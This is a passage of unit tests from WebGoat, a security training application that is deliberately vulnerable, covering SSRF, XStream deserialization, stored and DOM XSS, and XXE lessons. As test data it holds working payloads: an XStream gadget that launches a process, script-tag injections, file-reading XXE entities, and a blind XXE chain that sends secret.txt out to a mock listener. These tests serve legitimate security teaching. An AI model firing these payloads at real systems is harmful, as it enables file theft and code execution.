public void modifyUrlTom() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SSRF/task1")
|
||||
.param("url", "images/tom.png"))
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void modifyUrlJerry() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SSRF/task1")
|
||||
.param("url", "images/jerry.png"))
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void modifyUrlCat() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SSRF/task1")
|
||||
.param("url", "images/cat.jpg"))
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
|
||||
}
|
||||
}
|
66
src/test/java/org/owasp/webgoat/lessons/ssrf/SSRFTest2.java
Normal file
66
src/test/java/org/owasp/webgoat/lessons/ssrf/SSRFTest2.java
Normal file
@ -0,0 +1,66 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.ssrf;
|
||||
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.owasp.webgoat.container.plugins.LessonTest;
|
||||
import org.owasp.webgoat.lessons.ssrf.SSRF;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.test.context.junit.jupiter.SpringExtension;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import static org.hamcrest.Matchers.is;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
/**
|
||||
* @author afry
|
||||
* @since 12/28/18.
|
||||
*/
|
||||
@ExtendWith(SpringExtension.class)
|
||||
public class SSRFTest2 extends LessonTest {
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
when(webSession.getCurrentLesson()).thenReturn(new SSRF());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
public void modifyUrlIfconfigPro() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SSRF/task2")
|
||||
.param("url", "http://ifconfig.pro"))
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void modifyUrlCat() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/SSRF/task2")
|
||||
.param("url", "images/cat.jpg"))
|
||||
.andExpect(status().isOk()).andExpect(jsonPath("$.lessonCompleted", is(false)));
|
||||
}
|
||||
}
|
@ -0,0 +1,81 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.vulnerable_components;
|
||||
|
||||
import com.thoughtworks.xstream.XStream;
|
||||
import com.thoughtworks.xstream.io.StreamException;
|
||||
import org.junit.jupiter.api.Disabled;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.owasp.webgoat.lessons.vulnerable_components.Contact;
|
||||
import org.owasp.webgoat.lessons.vulnerable_components.ContactImpl;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||
import static org.junit.jupiter.api.Assertions.assertThrows;
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
public class VulnerableComponentsLessonTest {
|
||||
|
||||
String strangeContact = "<contact class='dynamic-proxy'>\n" +
|
||||
"<interface>org.owasp.webgoat.vulnerable_components.Contact</interface>\n" +
|
||||
" <handler class='java.beans.EventHandler'>\n" +
|
||||
" <target class='java.lang.ProcessBuilder'>\n" +
|
||||
" <command>\n" +
|
||||
" <string>calc.exe</string>\n" +
|
||||
" </command>\n" +
|
||||
" </target>\n" +
|
||||
" <action>start</action>\n" +
|
||||
" </handler>\n" +
|
||||
"</contact>";
|
||||
String contact = "<contact>\n"+
|
||||
"</contact>";
|
||||
|
||||
@Test
|
||||
public void testTransformation() throws Exception {
|
||||
XStream xstream = new XStream();
|
||||
xstream.setClassLoader(Contact.class.getClassLoader());
|
||||
xstream.alias("contact", ContactImpl.class);
|
||||
xstream.ignoreUnknownElements();
|
||||
assertNotNull(xstream.fromXML(contact));
|
||||
}
|
||||
|
||||
@Test
|
||||
@Disabled
|
||||
public void testIllegalTransformation() throws Exception {
|
||||
XStream xstream = new XStream();
|
||||
xstream.setClassLoader(Contact.class.getClassLoader());
|
||||
xstream.alias("contact", ContactImpl.class);
|
||||
xstream.ignoreUnknownElements();
|
||||
Exception e = assertThrows(RuntimeException.class, ()->((Contact)xstream.fromXML(strangeContact)).getFirstName());
|
||||
assertTrue(e.getCause().getMessage().contains("calc.exe"));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testIllegalPayload() throws Exception {
|
||||
XStream xstream = new XStream();
|
||||
xstream.setClassLoader(Contact.class.getClassLoader());
|
||||
xstream.alias("contact", ContactImpl.class);
|
||||
xstream.ignoreUnknownElements();
|
||||
Exception e = assertThrows(StreamException.class, ()->((Contact)xstream.fromXML("bullssjfs")).getFirstName());
|
||||
assertTrue(e.getCause().getMessage().contains("START_DOCUMENT"));
|
||||
}
|
||||
}
|
@ -0,0 +1,76 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2021 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source
|
||||
* ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.xss;
|
||||
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
import org.owasp.webgoat.container.assignments.AssignmentEndpointTest;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
|
||||
|
||||
/**
|
||||
*
|
||||
* @author Angel Olle Blazquez
|
||||
*
|
||||
*/
|
||||
|
||||
@ExtendWith(MockitoExtension.class)
|
||||
class CrossSiteScriptingLesson1Test extends AssignmentEndpointTest {
|
||||
|
||||
private static final String CONTEXT_PATH = "/CrossSiteScripting/attack1";
|
||||
|
||||
@Autowired
|
||||
private MockMvc mockMvc;
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
CrossSiteScriptingLesson1 crossSiteScriptingLesson1 = new CrossSiteScriptingLesson1();
|
||||
init(crossSiteScriptingLesson1);
|
||||
mockMvc = standaloneSetup(crossSiteScriptingLesson1).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
void success() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post(CONTEXT_PATH)
|
||||
.param("checkboxAttack1", "value"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
void failure() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post(CONTEXT_PATH))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,77 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.xss;
|
||||
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
import org.owasp.webgoat.container.assignments.AssignmentEndpointTest;
|
||||
import org.owasp.webgoat.lessons.xss.CrossSiteScripting;
|
||||
import org.owasp.webgoat.lessons.xss.DOMCrossSiteScripting;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
|
||||
import static org.mockito.Mockito.lenient;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
|
||||
|
||||
|
||||
@ExtendWith(MockitoExtension.class)
|
||||
public class DOMCrossSiteScriptingTest extends AssignmentEndpointTest {
|
||||
private MockMvc mockMvc;
|
||||
private String randVal = "12034837";
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
DOMCrossSiteScripting domXss = new DOMCrossSiteScripting();
|
||||
init(domXss);
|
||||
this.mockMvc = standaloneSetup(domXss).build();
|
||||
CrossSiteScripting xss = new CrossSiteScripting();
|
||||
lenient().when(userSessionData.getValue("randValue")).thenReturn(randVal);
|
||||
}
|
||||
|
||||
@Test
|
||||
public void success() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/CrossSiteScripting/phone-home-xss")
|
||||
.header("webgoat-requested-by", "dom-xss-vuln")
|
||||
.param("param1", "42")
|
||||
.param("param2", "24"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.output", CoreMatchers.containsString("phoneHome Response is " + randVal)))
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void failure() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/CrossSiteScripting/phone-home-xss")
|
||||
.header("webgoat-requested-by", "wrong-value")
|
||||
.param("param1", "22")
|
||||
.param("param2", "20"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.lessonCompleted", CoreMatchers.is(false)));
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,96 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.xss;
|
||||
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.junit.jupiter.api.extension.ExtendWith;
|
||||
import org.mockito.junit.jupiter.MockitoExtension;
|
||||
import org.owasp.webgoat.container.assignments.AssignmentEndpointTest;
|
||||
import org.owasp.webgoat.lessons.xss.stored.StoredXssComments;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.test.web.servlet.MockMvc;
|
||||
import org.springframework.test.web.servlet.MvcResult;
|
||||
import org.springframework.test.web.servlet.ResultActions;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standaloneSetup;
|
||||
|
||||
|
||||
@ExtendWith(MockitoExtension.class)
|
||||
public class StoredXssCommentsTest extends AssignmentEndpointTest {
|
||||
|
||||
private MockMvc mockMvc;
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
StoredXssComments storedXssComments = new StoredXssComments();
|
||||
init(storedXssComments);
|
||||
this.mockMvc = standaloneSetup(storedXssComments).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
public void success() throws Exception {
|
||||
ResultActions results = mockMvc.perform(MockMvcRequestBuilders.post("/CrossSiteScriptingStored/stored-xss")
|
||||
.content("{\"text\":\"someTextHere<script>webgoat.customjs.phoneHome()</script>MoreTextHere\"}")
|
||||
.contentType(MediaType.APPLICATION_JSON));
|
||||
|
||||
results.andExpect(status().isOk());
|
||||
results.andExpect(jsonPath("$.lessonCompleted",CoreMatchers.is(true)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void failure() throws Exception {
|
||||
ResultActions results = mockMvc.perform(MockMvcRequestBuilders.post("/CrossSiteScriptingStored/stored-xss")
|
||||
.content("{\"text\":\"someTextHere<script>alert('Xss')</script>MoreTextHere\"}")
|
||||
.contentType(MediaType.APPLICATION_JSON));
|
||||
|
||||
results.andExpect(status().isOk());
|
||||
results.andExpect(jsonPath("$.lessonCompleted",CoreMatchers.is(false)));
|
||||
}
|
||||
|
||||
/* For the next two tests there is a comment seeded ...
|
||||
comments.add(new Comment("secUriTy", DateTime.now().toString(fmt), "<script>console.warn('unit test me')</script>Comment for Unit Testing"));
|
||||
... the isEncoded method will remain commented out as it will fail (because WebGoat isn't supposed to be secure)
|
||||
*/
|
||||
|
||||
//Ensures it is vulnerable
|
||||
@Test
|
||||
public void isNotEncoded() throws Exception {
|
||||
//do get to get comments after posting xss payload
|
||||
ResultActions taintedResults = mockMvc.perform(MockMvcRequestBuilders.get("/CrossSiteScriptingStored/stored-xss"));
|
||||
MvcResult mvcResult = taintedResults.andReturn();
|
||||
assert(mvcResult.getResponse().getContentAsString().contains("<script>console.warn"));
|
||||
}
|
||||
|
||||
//Could be used to test an encoding solution ... commented out so build will pass. Uncommenting will fail build, but leaving in as positive Security Unit Test
|
||||
// @Test
|
||||
// public void isEncoded() throws Exception {
|
||||
// //do get to get comments after posting xss payload
|
||||
// ResultActions taintedResults = mockMvc.perform(MockMvcRequestBuilders.get("/CrossSiteScripting/stored-xss"));
|
||||
// taintedResults.andExpect(jsonPath("$[0].text",CoreMatchers.is(CoreMatchers.containsString("<scriptgt;"))));
|
||||
// }
|
||||
}
|
@ -0,0 +1,154 @@
|
||||
package org.owasp.webgoat.lessons.xxe;
|
||||
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import com.github.tomakehurst.wiremock.WireMockServer;
|
||||
import com.github.tomakehurst.wiremock.client.WireMock;
|
||||
import com.github.tomakehurst.wiremock.verification.LoggedRequest;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.hamcrest.Matchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.owasp.webgoat.container.plugins.LessonTest;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import java.io.File;
|
||||
import java.util.List;
|
||||
|
||||
import static com.github.tomakehurst.wiremock.client.WireMock.aResponse;
|
||||
import static com.github.tomakehurst.wiremock.client.WireMock.getRequestedFor;
|
||||
import static com.github.tomakehurst.wiremock.client.WireMock.urlMatching;
|
||||
import static com.github.tomakehurst.wiremock.core.WireMockConfiguration.options;
|
||||
import static org.assertj.core.api.Assertions.assertThat;
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
class BlindSendFileAssignmentTest extends LessonTest {
|
||||
|
||||
private int port;
|
||||
private WireMockServer webwolfServer;
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
this.webwolfServer = new WireMockServer(options().dynamicPort());
|
||||
webwolfServer.start();
|
||||
this.port = webwolfServer.port();
|
||||
when(webSession.getCurrentLesson()).thenReturn(new XXE());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
}
|
||||
|
||||
private int countComments() throws Exception {
|
||||
var response = mockMvc.perform(get("/xxe/comments").contentType(MediaType.APPLICATION_JSON))
|
||||
.andExpect(status().isOk())
|
||||
.andReturn();
|
||||
return new ObjectMapper().reader().readTree(response.getResponse().getContentAsString()).size();
|
||||
}
|
||||
|
||||
private void containsComment(String expected) throws Exception {
|
||||
mockMvc.perform(get("/xxe/comments").contentType(MediaType.APPLICATION_JSON))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.[*].text").value(Matchers.hasItem(expected)));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void validCommentMustBeAdded() throws Exception {
|
||||
int nrOfComments = countComments();
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
||||
.content("<comment><text>test</text></comment>"))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))));
|
||||
assertThat(countComments()).isEqualTo(nrOfComments + 1);
|
||||
}
|
||||
|
||||
@Test
|
||||
public void wrongXmlShouldGiveErrorBack() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
||||
.content("<comment><text>test</ext></comment>"))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))))
|
||||
.andExpect(jsonPath("$.output", CoreMatchers.startsWith("javax.xml.bind.UnmarshalException\\n - with linked exception:\\n[javax.xml.stream.XMLStreamException: ParseError at [row,col]:[1,22]\\nMessage:")));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void simpleXXEShouldNotWork() throws Exception {
|
||||
File targetFile = new File(webGoatHomeDirectory, "/XXE/" + webSession.getUserName() + "/secret.txt");
|
||||
String content = "<?xml version=\"1.0\" standalone=\"yes\" ?><!DOCTYPE user [<!ENTITY root SYSTEM \"file:///%s\"> ]><comment><text>&root;</text></comment>";
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
||||
.content(String.format(content, targetFile.toString())))
|
||||
.andExpect(status().isOk());
|
||||
containsComment("Nice try, you need to send the file to WebWolf");
|
||||
}
|
||||
|
||||
@Test
|
||||
public void solve() throws Exception {
|
||||
File targetFile = new File(webGoatHomeDirectory, "/XXE/" + webSession.getUserName() + "/secret.txt");
|
||||
//Host DTD on WebWolf site
|
||||
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
|
||||
"<!ENTITY % file SYSTEM \"" + targetFile.toURI().toString() + "\">\n" +
|
||||
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:" + port + "/landing?text=%file;'>\">\n" +
|
||||
"%all;";
|
||||
webwolfServer.stubFor(WireMock.get(WireMock.urlMatching("/files/test.dtd"))
|
||||
.willReturn(aResponse()
|
||||
.withStatus(200)
|
||||
.withBody(dtd)));
|
||||
webwolfServer.stubFor(WireMock.get(urlMatching("/landing.*")).willReturn(aResponse().withStatus(200)));
|
||||
|
||||
//Make the request from WebGoat
|
||||
String xml = "<?xml version=\"1.0\"?>" +
|
||||
"<!DOCTYPE comment [" +
|
||||
"<!ENTITY % remote SYSTEM \"http://localhost:" + port + "/files/test.dtd\">" +
|
||||
"%remote;" +
|
||||
"]>" +
|
||||
"<comment><text>test&send;</text></comment>";
|
||||
performXXE(xml);
|
||||
}
|
||||
|
||||
@Test
|
||||
public void solveOnlyParamReferenceEntityInExternalDTD() throws Exception {
|
||||
File targetFile = new File(webGoatHomeDirectory, "/XXE/" + webSession.getUserName() + "/secret.txt");
|
||||
//Host DTD on WebWolf site
|
||||
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
|
||||
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:" + port + "/landing?text=%file;'>\">\n";
|
||||
webwolfServer.stubFor(WireMock.get(WireMock.urlMatching("/files/test.dtd"))
|
||||
.willReturn(aResponse()
|
||||
.withStatus(200)
|
||||
.withBody(dtd)));
|
||||
webwolfServer.stubFor(WireMock.get(urlMatching("/landing.*")).willReturn(aResponse().withStatus(200)));
|
||||
|
||||
//Make the request from WebGoat
|
||||
String xml = "<?xml version=\"1.0\"?>" +
|
||||
"<!DOCTYPE comment [" +
|
||||
"<!ENTITY % file SYSTEM \"" + targetFile.toURI() + "\">\n" +
|
||||
"<!ENTITY % remote SYSTEM \"http://localhost:" + port + "/files/test.dtd\">" +
|
||||
"%remote;" +
|
||||
"%all;" +
|
||||
"]>" +
|
||||
"<comment><text>test&send;</text></comment>";
|
||||
performXXE(xml);
|
||||
}
|
||||
|
||||
private void performXXE(String xml) throws Exception {
|
||||
//Call with XXE injection
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
||||
.content(xml))
|
||||
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))));
|
||||
|
||||
List<LoggedRequest> requests = webwolfServer.findAll(getRequestedFor(urlMatching("/landing.*")));
|
||||
assertThat(requests.size()).isEqualTo(1);
|
||||
String text = requests.get(0).getQueryParams().get("text").firstValue();
|
||||
|
||||
//Call with retrieved text
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
|
||||
.content("<comment><text>" + text + "</text></comment>"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.solved"))));
|
||||
}
|
||||
|
||||
}
|
@ -0,0 +1,106 @@
|
||||
/*
|
||||
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
|
||||
*
|
||||
* Copyright (c) 2002 - 2019 Bruce Mayhew
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it under the terms of the
|
||||
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
|
||||
* License, or (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
|
||||
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
* General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along with this program; if
|
||||
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
|
||||
* 02111-1307, USA.
|
||||
*
|
||||
* Getting Source ==============
|
||||
*
|
||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||
*/
|
||||
|
||||
package org.owasp.webgoat.lessons.xxe;
|
||||
|
||||
import com.fasterxml.jackson.databind.ObjectMapper;
|
||||
import org.hamcrest.CoreMatchers;
|
||||
import org.hamcrest.Matchers;
|
||||
import org.junit.jupiter.api.BeforeEach;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.owasp.webgoat.container.plugins.LessonTest;
|
||||
import org.springframework.http.MediaType;
|
||||
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
|
||||
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
|
||||
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
|
||||
|
||||
import static org.mockito.Mockito.when;
|
||||
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
|
||||
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
|
||||
|
||||
/**
|
||||
* @author nbaars
|
||||
* @since 11/2/17.
|
||||
*/
|
||||
public class ContentTypeAssignmentTest extends LessonTest {
|
||||
|
||||
@BeforeEach
|
||||
public void setup() {
|
||||
when(webSession.getCurrentLesson()).thenReturn(new XXE());
|
||||
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
|
||||
}
|
||||
|
||||
@Test
|
||||
public void sendingXmlButContentTypeIsJson() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/content-type")
|
||||
.contentType(MediaType.APPLICATION_JSON)
|
||||
.content("<?xml version=\"1.0\" standalone=\"yes\" ?><!DOCTYPE user [<!ENTITY root SYSTEM \"file:///\"> ]><comment><text>&root;</text></comment>"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("xxe.content.type.feedback.json"))));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void workingAttack() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/content-type")
|
||||
.contentType(MediaType.APPLICATION_XML)
|
||||
.content("<?xml version=\"1.0\" standalone=\"yes\" ?><!DOCTYPE user [<!ENTITY root SYSTEM \"file:///\"> ]><comment><text>&root;</text></comment>"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.solved"))));
|
||||
}
|
||||
|
||||
@Test
|
||||
public void postingJsonShouldAddComment() throws Exception {
|
||||
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/content-type")
|
||||
.contentType(MediaType.APPLICATION_JSON)
|
||||
.content("{ \"text\" : \"Hello World\"}"))
|
||||
.andExpect(status().isOk())
|
||||
